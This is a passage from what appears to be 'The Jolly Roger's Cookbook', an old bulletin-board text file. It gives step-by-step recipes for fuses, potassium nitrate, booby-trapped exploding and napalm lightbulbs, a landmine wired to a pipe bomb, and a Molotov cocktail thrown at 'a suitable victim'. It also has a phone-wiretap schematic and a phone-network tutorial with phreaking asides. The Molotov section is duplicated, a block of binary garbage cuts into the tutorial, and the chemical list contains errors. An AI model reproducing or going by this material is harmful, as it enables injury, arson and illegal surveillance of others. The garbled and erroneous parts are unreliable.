  1484.  - Granulated sugar
  1485.  
  1486. Procedure:
  1487.  
  1488.  - Wash the cotton string or showlaces in HOT soapy water, then 
  1489. rinse with fresh water
  1490.  
  1491.  - Mix the following together in a glass bowl:
  1492.    1 part potassium nitrate or potassium chlorate
  1493.    1 part granulated sugar
  1494.    2 parts hot water
  1495.  
  1496.  - Soak strings or shoelaces in this solution
  1497.  
  1498.  - Twist/braid 3 strands together and allow them to dry
  1499.  
  1500.  - Check the burn rate to see how long it actually takes!!
  1501.  
  1502. FAST BURNING FUSE
  1503. ~~~~~~~~~~~~~~~~~ (40 inches per minute)
  1504.  
  1505. Materials needed:
  1506.  
  1507.  -Soft cotton string
  1508.  -fine black powder (empty a few shotgun shells!)
  1509.  -shallow dish or pan
  1510.  
  1511. Procedure:
  1512.  
  1513.  - moisten powder to form a paste
  1514.  
  1515.  - twist/braid 3 strands of cotton together
  1516.  
  1517.  - rub paste into string and allow to dry
  1518.  
  1519.  - Check the burn rate!!!
  1520.  
  1521.  
  1522.  
  1523. How to make Potassium Nitrate                   by The Jolly Roger
  1524.  
  1525. Potassium Nitrate is an ingredient in making fuses, among other 
  1526. things. Here is how you make it:
  1527.  
  1528. Materials needed:
  1529.  
  1530.  -3.5 gallons of nitrate bearing earth or other material
  1531.  -1/2 cup of wood ashes
  1532.  -Bucket or other similar container about 4-5 gallons in volume
  1533.  -2 pieces of finely woven cloth, each a bit bigger than the 
  1534.   bottom of the bucket
  1535.  -Shallow dish or pan at least as large in diameter as the bucket
  1536.  -Shallow, heat resistant container
  1537.  -2 gallons of water
  1538.  -Something to punch holes in the bottom of the bucket
  1539.  -1 gallon of any type of alcohol
  1540.  -A heat source
  1541.  -Paper & tape
  1542.  
  1543. Procedure:
  1544.  
  1545.  - Punch holes on the inside bottom of the bucket, so that the 
  1546. metal is"puckered" outward from the bottom
  1547.  
  1548.  - Spread cloth over the holes from the bottom
  1549.  
  1550.  - Place wood ashes on the cloth. Spread it out so that it covers 
  1551. the entire cloth and has about the same thickness.
  1552.  
  1553.  - Place 2nd cloth on top of the wood ashes
  1554.  
  1555.  - Place the dirt or other material in the bucket
  1556.  
  1557.  - Place the bucket over the shallow container. NOTE: It may need 
  1558. support on the bottom so that the holes on the bottom are not 
  1559. blocked.
  1560.  
  1561.  - Boil water and pour it over the earth very slowly. Do NOT pour 
  1562. it all at once, as this will clog the filter on the bottom.
  1563.  
  1564.  - Allow water to run through holes into the shallow dish on the 
  1565. bottom.
  1566.  
  1567.  - Be sure that the water goes through ALL of the earth!
  1568.  
  1569.  - Allow water in dish to cool for an hour or so
  1570.  
  1571.  - Carefully drain the liquid in the dish away, and discard the 
  1572. sludge in the bottom
  1573.  
  1574.  - Boil this liquid over a fire for at least two hours. Small 
  1575. grains of salt will form - scoop these out with the paper as they 
  1576. form
  1577.  
  1578.  - When the liquid has boiled down to 1/2 its original volume let 
  1579. it sit
  1580.  
  1581.  - After 1/2 hour, add equal volume of the alcohol; when this 
  1582. mixture is poured through paper, small white crystals appear. This 
  1583. is the posassium nitrate.
  1584.  
  1585. Purification:
  1586.  
  1587.  - Redissolve crystals in small amount of boiling water
  1588.  
  1589.  - Remove any crystals that appear
  1590.  
  1591.  - Pour through improvised filter then heat concentrated solution 
  1592. to dryness.
  1593.  
  1594.  - Spread out crystals and allow to dry
  1595.  
  1596.  
  1597. Exploding lightbulbs                            by The Jolly Roger
  1598.  
  1599. Materials needed:
  1600.  
  1601.  -lightbulb (100w)
  1602.  -socket (duh...)
  1603.  -1/4 cup soap chips
  1604.  -blackpowder! (open some shotgun shells!)
  1605.  -1/4 cup kerosene orgasoline
  1606.  -adhesive tape
  1607.  -lighter or small blowtorch
  1608.  -glue
  1609.  
  1610. Procedure for a simple exploding lightbulb:
  1611. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  1612.  
  1613.  - Drill a small hole in the top of the bulb near the threads!
  1614.  
  1615.  - Carefully pour the blackpowder into the hole. Use enough so 
  1616. that it touches the filament!
  1617.  
  1618.  - Insert into socket as normal (make sure the light is off or 
  1619. else YOU will be the victim!!)
  1620.  
  1621.  - Get the hell out!!
  1622.  
  1623. Procedure for a Napam Bulb:
  1624. ~~~~~~~~~~~~~~~~~~~~~~~~~~~
  1625.  
  1626.  - Heat kerosene/gasoline in a double boiler
  1627.  
  1628.  - Melt soap chips, stirring slowly.
  1629.  
  1630.  - Put somewhere and allow to cool
  1631.  
  1632.  - Heat the threads of the bulb VERY carefully to melt the glue. 
  1633. Remove threads, slowly drawing out the filament. Do NOT break the 
  1634. cheap electrical igniters and/or the filament or this won't work!!
  1635.  
  1636.  - Pour the liquid into the bulb, and slowly lower the filament 
  1637. back down into the bulb. Make sure the filament is dipped into the 
  1638. fluid.
  1639.  
  1640.  - Re-glue the threads back on. Insert it into a socket frequently 
  1641. used by the victim and get the hell out!!
  1642.  
  1643. When the victim flips the switch, he will be in for a BIG surprise!
  1644.  
  1645. Have fun!                              -Jolly Roger-
  1646.  
  1647.  
  1648.  
  1649. Under water igniters                            by The Jolly Roger
  1650.  
  1651. Materials needed:
  1652.  
  1653.  -Pack of 10 silicon diodes (available at Radio Shack. you will 
  1654.   know you got the right ones if they are very, very small glass 
  1655.   objects!)
  1656.  -Pack of matches
  1657.  -1 candle
  1658.  
  1659. Procedure:
  1660.  
  1661.  - Light the candle and allow a pool of molten wax to form in the 
  1662. top.
  1663.  
  1664.  - Take a single match and hold the glass part of a single diode 
  1665. against the head. Bend the diode pins around the matchhead so that 
  1666. one wraps in an upward direction and thensticks out to the side. 
  1667. Do the same with the other wire, but in a downward direction. The 
  1668. diodes should now be hugging the matchhead, but its wires MUST NOT 
  1669. TOUCH EACH OTHER!
  1670.  
  1671.  - Dip the matchhead in wax to give it a water-proof coat. These 
  1672. work underwater
  1673.  
  1674.  - repeat to make as many as you want
  1675.  
  1676. How to use them:
  1677.  
  1678. When these little dudes are hooked across a 6v battery, the diode 
  1679. reaches what is called breakdown voltage. When most electrical 
  1680. components reach this voltage, they usually produce great amounts 
  1681. of heat and light, while quickly melting into a little blob. This 
  1682. heat is enough to ignite a matchhead. These are recommended for 
  1683. use underwater, where most other igniters refuse to work. ENJOY!
  1684.                                           -Jolly Roger-
  1685.  
  1686.  
  1687. Home-brew blast cannon                          by The Jolly Roger
  1688.  
  1689. Materials needed:
  1690.  
  1691.  -1 plastic drain pipe, 3 feet long, at least 3 1/2 inches in 
  1692.   diameter
  1693.  -1 smaller plastic pipe, about 6 inches long, 2 inches in 
  1694.   diameter
  1695.  -1 large lighter, with fluid refills (this gobbles it up!)
  1696.  -1 pipe cap to fit the large pipe, 1 pipe cap to fit the small 
  1697.   pipe
  1698.  -5 feet of bellwire
  1699.  -1 SPST rocker switch
  1700.  -16v polaroid pot-a-pulse battery
  1701.  -15v relay (get this at Radio Shack)
  1702.  -Electrical Tape
  1703.  -One free afternoon
  1704.  
  1705. Procedure:
  1706.  
  1707.  - Cut the bell wire into three equal pieces, and strip the ends
  1708.  
  1709.  - Cut a hole in the side of the large pipe, the same diameter as 
  1710. the small pipe. Thread the hole and one end of the small pipe. 
  1711. they should screw together easily.
  1712.  
  1713.  - Take a piece of scrap metal, and bend it into an "L" shape, 
  1714. then attach it to the level on the lighter:
  1715.  
  1716.  /------------------------gas switch is here
  1717.  V
  1718.  /------
  1719. !lighter!!<---metal lever
  1720. !!!
  1721. !!
  1722.  
  1723. Now, every time you pull the 'trigger' gas should flow freely from 
  1724. the lighter. You may need to enlarge the 'gas port' on your 
  1725. lighter, if you wish to be able to fire more rapidly.
  1726.  
  1727.  - Connect two wires to the two posts on the switch
  1728.  
  1729.  - Cut two holes in the side of the smaller tube, one for the 
  1730. switch on the bottom, and one for the metal piece on the top. 
  1731. Then, mount the switch in the bottom, running the wires up and out 
  1732. of the top.
  1733.  
  1734.  - Mount the lighter/trigger in the top. Now the switch should 
  1735. rock easily, and the trigger should cause the lighter to pour out 
  1736. gas. Re-screw the smaller tube into the larger one, hold down the 
  1737. trigger a bit, let it go, and throw a match in there. If all goes 
  1738. well, you should hear a nice big 'THUD!'
  1739.  
  1740.  - Get a hold of the relay, and take off the top.
  1741.  
  1742. 1---------------
  1743. v/
  1744.  2--------------/<--- the center object is the metal finger inside
  1745.                 3                                       the relay
  1746.  cc-------------/
  1747.  oo----------------4
  1748.  ii
  1749.  ll----------------5
  1750.  
  1751. Connect (1) to one of the wires coming from the switch. Connect 
  1752. (2) to (4), and connect (5) to one side of the battery. Connect 
  1753. the remaining wire from the switch to the other side of the 
  1754. battery. Now you should be able to get the relay to make a little 
  1755. 'buzzing' sound when you flip the switch and you should see some 
  1756. tiny little sparks.
  1757.  
  1758.  - Now, carefully mount the relay on the inside of the large pipe, 
  1759. towards the back. Screw on the smaller pipe, tape the battery to 
  1760. the side of the cannon barrel (yes, but looks aren't everything!)
  1761.  
  1762.  - You should now be able to let a little gas into the barrel and 
  1763. set it off by flipping the switch.
  1764.  
  1765.  - Put the cap on the back end of the large pipe VERY SECURELY. 
  1766. You are now ready for the first trial-run!
  1767.  
  1768. To Test:
  1769.  
  1770. Put something very, very large into the barrel, just so that it 
  1771. fits 'just right'. Now, find a strong guy (the recoil will 
  1772. probably knock you on your ass if you aren't careful!). Put on a 
  1773. shoulderpad, earmuffs, and possibly some other protective clothing 
  1774. (trust the Jolly Roger! You are going to need it!). Hold the 
  1775. trigger down for 30 seconds, hold on tight, and hit the switch. 
  1776. With luck and the proper adjustments, you should be able to put a 
  1777. frozed orange through 1/4 or plywood at 25 feet.
  1778.  
  1779. Have fun!                                  -Jolly Roger-
  1780.  
  1781.  
  1782. Chemical Equivalency list                       by the Jolly Roger
  1783.  
  1784. Acacia..................................................Gum Arabic
  1785. Acetic Acid................................................Vinegar
  1786. Aluminum Oxide..............................................Alumia
  1787. Aluminum Potassium Sulphate...................................Alum
  1788. Aluminum Sulfate..............................................Alum
  1789. Ammonium Carbonate.......................................Hartshorn
  1790. Ammonium Hydroxide.........................................Ammonia
  1791. Ammonium Nitrate........................................Salt Peter
  1792. Ammonium Oleate.......................................Ammonia Soap
  1793. Amylacetate............................................Bananna Oil
  1794. Barium Sulfide...........................................Black Ash
  1795. Carbon Carbinate.............................................Chalk
  1796. Carbontetrachloride.................................Cleaning Fluid
  1797. Calcium Hypochloride..............................Bleaching Powder
  1798. Calcium Oxide.................................................Lime
  1799. Calcium Sulfate...................................Plaster of Paris
  1800. Carbonic Acid..............................................Seltzer
  1801. Cetyltrimethylammoniumbromide........................Ammonium Salt
  1802. Ethylinedichloride.....................................Dutch Fluid
  1803. Ferric Oxide.............................................Iron Rust
  1804. Furfuraldehyde............................................Bran Oil
  1805. Glucose.................................................Corn Syrup
  1806. Graphite...............................................Pencil Lead
  1807. Hydrochloric Acid....................................Muriatic Acid
  1808. Hydrogen Peroxide.........................................Peroxide
  1809. Lead Acetate.........................................Sugar of Lead
  1810. Lead Tero-oxide...........................................Red Lead
  1811. Magnesium Silicate............................................Talc
  1812. Magnesium Sulfate.......................................Epsom Salt
  1813. Methylsalicylate..................................Winter Green Oil
  1814. Naphthalene..............................................Mothballs
  1815. Phenol...............................................Carbolic Acid
  1816. Potassium Bicarbonate..............................Cream of Tarter
  1817. Potassium Chromium Sulfate..............................Chromealum
  1818. Potassium Nitrate.......................................Salt Peter
  1819. Sodium Oxide..................................................Sand
  1820. Sodium Bicarbonate.....................................Baking Soda
  1821. Sodium Borate................................................Borax
  1822. Sodium Carbonate......................................Washing Soda
  1823. Sodium Chloride...............................................Salt
  1824. Sodium Hydroxide...............................................Lye
  1825. Sodium Silicate..............................................Glass
  1826. Sodium Sulfate......................................Glauber's Salt
  1827. Sodium Thiosulfate.............................Photographer's Hypo
  1828. Sulfuric Acid.........................................Battery Acid
  1829. Sucrose.................................................Cane Sugar
  1830. Zinc Chloride.......................................Tinner's Fluid
  1831. Zinc Sulfate.........................................White Vitriol
  1832.  
  1833.  
  1834.  
  1835. Phone Taps                                      by The Jolly Roger
  1836.  
  1837. Here is some info on phone taps. In this file is a schematic for a 
  1838. simple wiretap & instructions for hooking up a small tape recorder 
  1839. control relay to the phone line.
  1840.  
  1841. First, I will discuss taps a little. There are many different 
  1842. types of taps. there are transmitters, wired taps, and induction 
  1843. taps to name a few. Wired and wireless transmitters must be 
  1844. physically connected to the line before they will do any good. 
  1845. Once a wireless tap is connected to the line,it can transmit all 
  1846. conversations over a limited reception range. The phones in the 
  1847. house can even be modifies to pick up conversations in the room 
  1848. and transmit them too! These taps are usually powered off of the 
  1849. phone line, but can have an external power source. You can get more
  1850. information on these taps by getting an issue of Popular
  1851. Communications and reading through the ads. Wired taps, on the 
  1852. other hand, need no power source, but a wire must be run from the 
  1853. line to the listener or to a transmitter. There are obvious 
  1854. advantages of wireless taps over wired ones. There is one type of
  1855. wireless tap that looks like a normal telephone mike. All you have 
  1856. to do is replace the original mike with thisand itwill transmit 
  1857. all conversations! There is also an exotic type of wired tap known 
  1858. as the 'Infinity Transmitter' or 'Harmonica Bug'. In order to hook 
  1859. one of these, it must be installed inside the phone. When someone 
  1860. calls the tapped phone & *before* it rings,blows a whistle over 
  1861. the line, the transmitter picks up the phone via a relay. The mike 
  1862. on the phone is activated so that the caller can hear all of the 
  1863. conversations in the room. There is a sweep tone test at     
  1864. 415/BUG-1111 which can be used to detect one of these taps. If one 
  1865. of these is on your line & the test # sends the correct tone, you 
  1866. will hear a click. Induction taps have one big advantage over taps 
  1867. that must be physically wired to the phone. They do not have to be 
  1868. touching the phone in order to pick up the conversation. They work 
  1869. on the same principle as the little suction-cup tape recorder 
  1870. mikes that you can get at Radio Shack. Induction mikes can be 
  1871. hooked up to a transmitter or be wired.
  1872.  
  1873. Here is an example of industrial espionage using the phone:
  1874.  A salesman walks into an office & makes a phone call. He fakes 
  1875. the conversation, but when he hangs up he slips some foam rubber 
  1876. cubes into the cradle. The called party can still hear all 
  1877. conversations in the room. When someone picks up the phone, the 
  1878. cubes fall away unnoticed.
  1879.  
  1880. A tap can also be used on a phone to overhear what your modem is 
  1881. doing when you are wardialing, hacking, or just plain calling a 
  1882. bbs (like the White Ruins! Denver, Colorado! 55 megs online! 
  1883. Atari! Macintosh! Amiga! Ibm! CALL IT! 303-972-8566! By the way, i 
  1884. did this ad without the sysops consent or knowledge!). 
  1885.  
  1886. Here is the schematic:
  1887. -------)!----)!(------------->
  1888.              )!(
  1889.   Cap ^      )!(
  1890.              )!(
  1891.              )!(
  1892.              )!(
  1893.      ^^^^^---)!(------------->
  1894.        ^  100K
  1895.        !
  1896.        ! <Input
  1897.  
  1898. The 100K pot is used for volume. It should be on its highest 
  1899. (least resistance) setting if you hook a speaker across the 
  1900. output. but it should be set on its highest resistance for a tape 
  1901. recorder or amplifier. You may find it necessary to add another
  1902. 10 - 40K. The capacitor should be around .47 MFD. It's only 
  1903. purpose is to prevent the relay in the phone from tripping & 
  1904. thinking that you have the phone off of the hook. the audio output 
  1905. transformer is available at Radio Shack. (part # 273-138E for 
  1906. input). The red & the white wires go to the output device. You may 
  1907. want to experiment with the transformer for the best output. 
  1908. Hooking up a tape recorder relay is easy. Just hook one of the phone 
  1909. wires (usually red) to the the end of one of the relay & the ther 
  1910. end just loop around. This bypasses it. It should look like this:
  1911.  
  1912. ------^^^^^^^^^------------
  1913.       ---------
  1914.       RELAY^^
  1915. (part #275-004 from Radio Shack works fine)
  1916.  
  1917. If you think that you line is tapped, the first thing to do is to 
  1918. physically inspect the line yourself ESPECIALLY the phones. You 
  1919. can get mike replacements with bug detectors built in. However, I 
  1920. would not trust them too much. It is too easy to get a wrong 
  1921. reading.
  1922.  
  1923. For more info:
  1924.  
  1925. BUGS AND ELECTRONIC SURVEILANCE from Desert Publications
  1926. HOW TO AVOID ELECTRONIC EAVESDROPPING & PRIVACY INVASION. I do not 
  1927. remember who this one is from... you might want to try Paladin 
  1928. Press.
  1929.  
  1930.                                           -Jolly Roger-
  1931.  
  1932.  
  1933. How to make a landmine                          by The Jolly Roger
  1934.  
  1935. First, you need to get a pushbutton switch. Take the wires of it 
  1936. and connect one to a nine volt battery connector and the other to 
  1937. a solar igniter (used for launching model rockets). A very thin 
  1938. piece of stereo wire will usually do the trick if you are 
  1939. desperate, but I recommend the igniter. Connect the other wire of 
  1940. the nine-volt battery to one end of the switch. Connect a wire 
  1941. from the switch to the other lead on the solar igniter. 
  1942.  
  1943.        switch-----------battery
  1944.          \                  /
  1945.           \                /
  1946.            \              /
  1947.             \            /
  1948.             solar  igniter 
  1949.                   |
  1950.                   | 
  1951.                   |
  1952.               explosive
  1953.  
  1954. Now connect the explosive (pipe bomb, m-80, CO2 bomb, etc.) to the 
  1955. igniter by attaching the fuse to the igniter (seal it with scotch 
  1956. tape). Now dig a hole; not too deep but enough to cover all of the 
  1957. materials. Think about what direction your enemy will be coming from
  1958. and plant the switch, but leave the button visible (not TOO 
  1959. visible!). Plant the explosive about 3-5 feet away from the switch 
  1960. because there will be a delay in the explosion that depends on how 
  1961. short your wick is, and, if a homemade wick is being used, its 
  1962. burning speed. But if you get it right... and your enemy is close 
  1963. enough......... BBBBBBBOOOOOOOOOOOOOOOOOOOOOOOOMMMM! hahahaha
  1964.  
  1965.                                           -Jolly Roger-
  1966.  
  1967.  
  1968. A different kind of Molitoff Cocktail               by the Jolly Roger
  1969.  
  1970. Here is how you do it:
  1971.  
  1972.  - Get a coke bottle & fill it with gasoline about half full
  1973.  
  1974.  - Cram a piece of cloth into the neck of it nice and tight
  1975.  
  1976.  - Get a chlorine tablet and stuff it in there. You are going to have
  1977. to force it because the tablets are bigger than the opening of the 
  1978. bottle. 
  1979.  
  1980.  - Now find a suitable victim and wing it in their direction. When it 
  1981. hits the pavement or any surface hard enough to break it, and the chlorine
  1982. and gasoline mix..... BOOM!!!!!!
  1983. Have fun!                                    -Jolly Roger-
  1984.  
  1985. A different kind of Molitoff Cocktail               by the Jolly Roger
  1986.  
  1987. Here is how you do it:
  1988.  
  1989.  - Get a coke bottle & fill it with gasoline about half full
  1990.  
  1991.  - Cram a piece of cloth into the neck of it nice and tight
  1992.  
  1993.  - Get a chlorine tablet and stuff it in there. You are going to have
  1994. to force it because the tablets are bigger than the opening of the 
  1995. bottle. 
  1996.  
  1997.  - Now find a suitable victim and wing it in their direction. When it 
  1998. hits the pavement or any surface hard enough to break it, and the chlorine
  1999. and gasoline mix..... BOOM!!!!!!
  2000. Have fun!                                    -Jolly Roger-
  2001.  
  2002. Phone Systems Tutorial                          by The Jolly Roger
  2003.  
  2004. To start off, we will discuss the dialing procedures for domestic 
  2005. as well as international dialing. We will also take a look at the 
  2006. telephone numbering plan.
  2007.  
  2008. North American Numbering Plan
  2009. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  2010.  
  2011. In North America, the telephone numbering plan is as follows:
  2012.  
  2013. A) a 3 digit Numbering Plan Area (NPA) code , ie, area code
  2014. B) a 7 digit telephone # consisting of a 3 digit Central Office 
  2015. (CO) code plus a 4 digit station #
  2016.  
  2017. These 10 digits are called the network address or destination 
  2018. code. It is in the format of:
  2019.  
  2020.       Area Code         Telephone #
  2021.       ---------         -----------
  2022.  
  2023.          N*X             NXX-XXXX
  2024.  
  2025. Where: N = a digit from 2 to 9
  2026.           %√τ ÉTimes New Roman-F »u╗!GRDEV   DAT ╤⌐cOJUKEBOX INI Ñ9ôßäWNTSR   INI 1¢EHMAIN    GRP cï╛ó]'MARBLE  BMP @jH■kMATT    EPS :¬TI#MATTG   EPS ½TM0SYSTEM  INI ╥¼⌐!
  2027. MCSDFALTINI ┌░ÿ▐MCSINIT INI ╓0å▌πMG      N   ≡óyΩp┬CORELDRAGRP cï╛"D
  2028. ~MM0239 TMP gbvNelson GueretteC:\WINDOWS\WINWORD\ √ll@J/@j₧áTERMINALEXE @j{└BTM      PIF µ«? !UNFORMATPIF »u┐!VIEW    PIF »u└!VIEWER  BMK Å&εVIEWER  INI ë ₧┌±VISION  INI ┼c> WA92    ANN Å&Γ┘4POOL   BMP _σ(v WIN     COR ┴▒Sa╠#WIN     CP8 »u╤▐ WIN     INI ih╕«PâAWIN     OLD íöÅ▀WINFILE EXE @j░=Nelson GueretteC:\WINDOWS\WINWORD\ 6oo@J/@│ΦMEMBER  SCR ict±ëHOST    SCR Ç!⌠≥¢RHCONFIG SCR Ç!⌠⌡$TMM2157 TMP ┌¿⌐TMF3C12 TMP Và¿.TSPL2109TMP ╕ä¿.TMF2118 TMP ïà¿.Z~SPL2132TMP ┘ë┴!╡~DOC1837TMP ─ü┴~SPL2A49TMP `ë┴° u▄~SPL1040TMP aë┴!c    ~SPL1334TMP aë┴!~SPL2344TMP ┌ë┴
  2029. !u▄~SPL242ETMP █ë┴!c    Nelson GueretteC:\WINDOWS\WINWORD\ 6oo@J/`┌║NORMAL  DOT á₧1~│vOVERHEADDOT `╚CPCW_RTF TXT `r>    ╦σOOOO   DOC ï╛¼ ç+PRESS   DOT `╦·0PRINTERSDOC `r╖V┐PROPOSALDOT `═    )PSS     DOC `r╤²¢README  DOC `r│äbREPLAND DOT `╧╪CREPSIDE DOT `╥êCREPSTANDDOT `╒åCRFTDCA  CNV `rX    ╝RTF_DCA TXT `ro    w * = the digit 0 or 1
  2030.        X = a digit from 0 to 9
  2031.  
  2032. Area Codes
  2033. ~~~~~~~~~~
  2034.  
  2035. Check your telephone book or the seperate listing of area codes 
  2036. found on many bbs's. Here are the special area codes (SAC's):
  2037.  
  2038.    510 - TWX (USA)
  2039.    610 - TWX (Canada)
  2040.    700 - New Service
  2041.    710 - TWX (USA)
  2042.    800 - WATS
  2043.    810 - TWX (USA)
  2044.    900 - DIAL-IT Services
  2045.    910 - TWX (USA)
  2046.  
  2047. The other area codes never cross state lines, therefore each state 
  2048. must have at least one exclusive NPA code. When a community is 
  2049. split by a state line, the CO #'s are often interchangeable (ie, 
  2050. you can dial the same number from two different area codes).
  2051.  
  2052. TWX (Telex II) consists of 5 teletype-writer area codes. They are 
  2053. owned by Western Union. These SAC's may only be reached via other 
  2054. TWX machines. These run at 110 baud (last I checked! They are most 
  2055. likely faster now!). Besides the TWX #'s, these machines are 
  2056. routed to normal telephone #'s. TWX machines always respond with 
  2057. an answerback. For example, WU's FYI TWX # is (910) 279-5956. The 
  2058. answerback for this service is "WU FYI MAWA".
  2059.  
  2060. If you don't want to but a TWX machine, you can still send TWX 
  2061. messages using Easylink [800/325-4112]. However you are gonna have 
  2062. to hack your way onto this one!
  2063.  
  2064. 700:
  2065.  
  2066. 700 is currently used by AT&T as a call forwarding service. It is 
  2067. targeted towards salesmen on the run. To understand how this 
  2068. works, I'll explain it with an example. Let's say Joe Q. Salespig 
  2069. works for AT&T security and he is on the run chasing a phreak 
  2070. around the country who royally screwed up an important COSMOS 
  2071. system. Let's say that Joe's 700 # is (700) 382-5968. Everytime 
  2072. Joe goes to a new hotel (or most likely SLEAZY MOTEL), he dials a 
  2073. special 700 #, enters a code, and the number where he is staying. 
  2074. Now, if his boss received some important info, all he would do is 
  2075. dial (700) 382-5968 and it would ring wherever Joe last progammed 
  2076. it to. Neat, huh?
  2077.  
  2078. 800:
  2079.  
  2080. This SAC is one of my favourites since it allows for toll free 
  2081. calls. INWARD WATS (INWATS), or Inward Wide Area 
  2082. Telecommunications Service is the 800 #'s that we are all familiar 
  2083. with. 800 #'s are set up in service areas or bands. There are 6 of 
  2084. these. Band 6 is the largest and you can call a band 6 # from 
  2085. anywhere in the US except the state where the call is terminated 
  2086. (that is why most companies have one 800 number for the countery 
  2087. and then another one for their state.) Band 5 includes the 48 
  2088. contiguous states. All the way down to band 1 which includes only 
  2089. the states contiguous to that one. Therefore, less people can 
  2090. reach a band 1 INWATS # than a band 6 #.
  2091.  
  2092. Intrastate INWATS #'s (ie, you can call it from only 1 state) 
  2093. always have a 2 as the last digit in the exchange (ie, 800-NX2-
  2094. XXXX). The NXX on 800 #'s represent the area where the business is 
  2095. located. For example, a # beginning with 800-431 would terminate 
  2096. at a NY CO.
  2097.  
  2098. 800 #'s always end up in a hunt series in a CO. This means that it 
  2099. tries the first # allocated to the company for their 800 lines; if 
  2100. this is busy, it will try the next #, etc. You must have a minimum 
  2101. of 2 lines for each 800 #. For example, Travelnet uses a hunt 
  2102. series. If you dial (800) 521-8400, it will first try the # 
  2103. associated with 8400; if it is busy it will go to the next 
  2104. available port, etc. INWATS customers are billed by the number of 
  2105. hours of calls made to their #.
  2106.  
  2107. OUTWATS (OUTWARD WATS): OUTWATS are for making outgoing calls 
  2108. only. Largecompanies use OUTWATS since they receive bulk-rate 
  2109. discounts. Since OUTWATS numbers cannot have incoming calls, they 
  2110. are in the format of:
  2111.  
  2112.    (800) *XXX-XXXX
  2113.  
  2114. Where * is the digit 0 or 1 (or it may even be designated by a 
  2115. letter) which cannot be dialed unless you box the call. The *XX 
  2116. identifies the type of service and the areas that the company can 
  2117. call.
  2118.  
  2119. Remember:
  2120.  
  2121.  INWATS + OUTWATS = WATS EXTENDER
  2122.  
  2123. 900:
  2124.  
  2125. This DIAL-IT SAC is a nationwide dial-it service. It is use for 
  2126. taking television polls and other stuff. The first minute 
  2127. currently costs an outrageous 50-85 cents and each additional 
  2128. minute costs 35-85 cents. Hell takes in a lot of revenue this way!
  2129.  
  2130. Dial (900) 555-1212 to find out what is currently on this service.
  2131.  
  2132. CO CODES
  2133. ~~~~~~~~
  2134.  
  2135. These identify the switching office where the call is to be 
  2136. routed. The following CO codes are reserved nationwide:
  2137.  
  2138.    555 - directory assistance
  2139.    844 - time. These are now in!
  2140.    936 - weather the 976 exchange
  2141.    950 - future services
  2142.    958 - plant test
  2143.    959 - plant test
  2144.    970 - plant test (temporary)
  2145.    976 - DIAL-IT services
  2146.  
  2147. Also, the 3 digit ANI & ringback #'s are regarded as plant test 
  2148. and are thus reserved. These numbers vary from area to area. 
  2149.  
  2150. You cannot dial a 0 or 1 as the first digit of the exchange code 
  2151. (unless using a blue box!). This is due to the fact that these 
  2152. exchanges (000-199) contains all sorts of interesting shit such as 
  2153. conference #'s, operators, test #'s, etc.
  2154.  
  2155. 950:
  2156.  
  2157. Here are the services that are currently used by the 950 exchange:
  2158.  
  2159.    1000 - SPC
  2160.    1022 - MCI Execunet
  2161.    1033 - US Telephone
  2162.    1044 - Allnet
  2163.    1066 - Lexitel
  2164.    1088 - SBS Skyline
  2165.  
  2166. These SCC's (Specialized Common Carriers) are free from fortress 
  2167. phones! Also, the 950 exchange will probably be phased out with 
  2168. the introduction of Equal Access
  2169.  
  2170. Plant Tests:
  2171.  
  2172. These include ANI, Ringback, and other various tests.
  2173.  
  2174. 976:
  2175.  
  2176. Dial 976-1000 to see what is currently on the service. Also, many 
  2177. bbs's have listings of these numbers.
  2178.  
  2179. N11 codes:
  2180. ----------
  2181. Bell is trying to phase out some of these, but they still exist in 
  2182. most areas. 
  2183.  
  2184.   011 - international dialing prefix
  2185.   211 - coin refund operator
  2186.   411 - directory assistance
  2187.   611 - repair service
  2188.   811 - business office
  2189.   911 - EMERGENCY
  2190.  
  2191. International Dialing
  2192. ~~~~~~~~~~~~~~~~~~~~~
  2193.  
  2194. With International Dialing, the world has been divided into 9 
  2195. numbering zones. To make an international call, you must first 
  2196. dial: International Prefix + Country code + National #
  2197.  
  2198. In North America, the international dialing prefix is 011 for 
  2199. station-to-station calls. If you can dial International #'s 
  2200. directly in your area then you have International Direct Distance 
  2201. Dialing (IDDD).
  2202.  
  2203. The country code, which varies from 1 to 3 digits, always has the 
  2204. world numbering zone as the first digit. For example, the country 
  2205. code for the United Kingdom is 44, thus it is in world numbering 
  2206. zone 4. Some boards may contain a complete listing of other 
  2207. country codes, but here I give you a few:
  2208.  
  2209.    1 - North America (US, Canada, etc.)
  2210.   20 - Egypt
  2211.  258 - Mozambique
  2212.   34 - Spain
  2213.   49 - Germany
  2214.   52 - Mexico (southern portion)
  2215.    7 - USSR
  2216.   81 - Japan
  2217.   98 - Iran (call & hassle those bastards!)
  2218.  
  2219. If you call from an area other than North America, the format is 
  2220. generally the same. For example, let's say that you wanted to call 
  2221. the White House from Switzerland to tell the prez that his 
  2222. numbered bank account is overdrawn (it happens, you know! ha ha). 
  2223. First you would dial 00 (the SWISS international dialing refix), 
  2224. then 1 (the US country code), followed by 202-456-1414 (the 
  2225. national # for the White House. Just ask for Georgy and give him 
  2226. the bad news!)
  2227.  
  2228. Also, country code 87 is reserved for Maritime mobile service, ie, 
  2229. calling ships:
  2230.  
  2231.    871 - Marisat (Atlantic)
  2232.    871 - Marisat (Pacific)
  2233.    872 - Marisat (Indian)
  2234.  
  2235. International Switching:
  2236. ------------------------
  2237.  
  2238. In North America there are currently 7 no. 4 ESS's that perform 
  2239. the duty of ISC (Inter-nation Switching Centers). All 
  2240. international calls dialed from numbering zone 1 will be routed 
  2241. through one of these "gateway cities". They are:
  2242.  
  2243.   182 - White Plains, NY
  2244.   183 - New York, NY
  2245.   184 - Pittsburgh, PA
  2246.   185 - Orlando, Fl
  2247.   186 - Oakland, CA
  2248.   187 - Denver, CO
  2249.   188 - New York, NY
  2250.  
  2251. The 18X series are operator routing codes for overseas access (to 
  2252. be furthur discussed with blue boxes). All international calls use 
  2253. a signaling service called CCITT.It is an international standard 
  2254. for signaling.
  2255.  
  2256. Ok.. there you go for now! If you wanna read more about this, read 
  2257. part two which is the next file #36 in the Jolly Roger's cookbook!
  2258.          
  2259.                                        -Jolly Roger-
  2260.  
  2261.  
  2262. Phone Systems Tutorial part II                  by The Jolly Roger
  2263.  
  2264. Part II will deal with the various types of operators, office 
  2265. heirarchy, & switching equipment.
  2266.  
  2267. Operators
  2268. ~~~~~~~~~
  2269.  
  2270. There are many types of operators in the network and the more 
  2271. common ones will be discussed.
  2272.  
  2273. TSPS Operator:
  2274.  
